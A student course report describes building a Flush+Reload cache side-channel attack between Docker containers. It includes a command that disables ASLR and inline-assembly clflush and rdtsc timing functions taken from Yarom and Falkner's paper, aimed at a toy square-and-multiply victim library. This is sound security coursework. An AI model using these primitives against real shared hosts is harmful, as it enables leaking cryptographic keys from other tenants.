Flush+Reload between Docker Containers

CPSC-6240 System Admin and Security
Group Project Milestone Two

Instructor: Dr. Jeffrey Alan Young
Students: Samuil Orlioglu and Anvitha Yerneni

Due: April 11, 2023
Submitted: May 3, 2023

1 Update

We used paper [1] as a resource to develop the attacking code. Please read this in the Project directory section.
We developed a preliminary `docker-compose.yml` that establishes two containers based on `handsonsecurity/seed-ubuntu:large` images. We used the Docker Compose documentation for reference [3]. The images share a volume that is mounted to `/home/code`. We need to run both containers with privileges in order to be able to disable ASLR.

We turn off ASLR with at container setup time with

```
echo 0 > /proc/sys/kernel/randomize_va_space
```

The shared volume will store the necessary code for the attack and the victim code.

1.1 Project directory

There are three components in the code.

- `shared.cpp` contains the implementation for the shared library. There are two functions: `square()` and `multiply` that aim to simulate the square and multiply algorithm is encryption algorithms. `shared.cpp` is in the `Shared` directory.
- `victim.cpp` contains the code for the victim process. It includes the shared library and aims to use the `square()` and `multiply` functions as an encryption algorithm would.
- `attacker.cpp` contains the code for the attacking process. It includes the shared library and aims to use inline assembly to flush cache with the `flush()` function at the address of `square()` and `multiply`, and to access it while timing the accesses with the `check()` function.

These files are compiled with the help of a Makefile. The Makefile was written with the help of Make documentation[2].

```
CC = g++
FLAGS = -Wall


shared:
  $(CC) $(FLAGS) -shared Shared/shared.h Shared/shared.cpp -o shared.so

victim: shared
  $(CC) $(FLAGS) Victim/victim.cpp -o victim

attacker: shared
  $(CC) $(FLAGS) Attacker/attacker.cpp -o attacker

clean:
  rm -f shared.so
  rm -f attacker
  rm -f victim
```

Listing 1: Makefile

2 Code snippets

```
void flush(const void *adrs) {
    asm __volatile__ (
            "clflush 0(%0)            \n"::"c" (adrs)
            );
}
```

Listing 2: flush() function to clear a given address from cache

Listing 1. is a function that allows to clear an address from the cache. The is the Flush step in the attack.

```

unsigned int check(const void *adrs, const unsigned long threshold) {
    volatile unsigned long time;
    asm __volatile__ (
            "mfence                   \n"
            "lfence                   \n"
            "rdtsc                    \n"
            "movl %%eax, %%esi        \n"
            "movl (%1), %%eax         \n"
            "lfence                   \n"
            "rdtsc                    \n"
            "subl %%esi, %%eax        \n"
            : "=a" (time)
            : "c" (adrs)
            : "%esi", "%edx"
            );
    return time > threshold;
}
```
Listing 3: check() function that checks if a virtual address was accessed. Copied from Yarom's paper |1|.

Using the code snippet Listing 2. that was derived from the code snippet in the paper [1], we developed the `check()` function that measures the time to access a virtual address. If the access time is greater than the specified threshold, then we know that the virtual address was loaded directly from primary memory and more broadly, that the victim process did not access this resource. And conversly, if the access time is less than the threshold, then we know that the resource was access from cache, and thus was accessed by the victim. This is the Reload step in the attack.

3 Future Tasks

We will run the containers in a Ubuntu VM with Docker. We will run the containers and log the output. This will give us prliminary results. Once we have preliminary results, we will analyze them and experiment with different values for the `threshold` value.

References

[1] Yuval Yarom and Katrina Falkner. 2014. *FLUSH+RELOAD: a high resolution, low noise, L3 cache side-channel attack*. In Proceedings of the 23rd USENIX conference on Security Symposium (SEC'14). USENIX Association, USA, 719–732.

[2] GNU Make Manual. *GNU Project - Free Software Foundation.* Retrieved April 11, 2023 from https://www.gnu.org/software/make/manual/make.html

[3] Docker Compose overview. *Docker docs.* Retrieved April 11, 2023 from https://docs.docker.com/compose/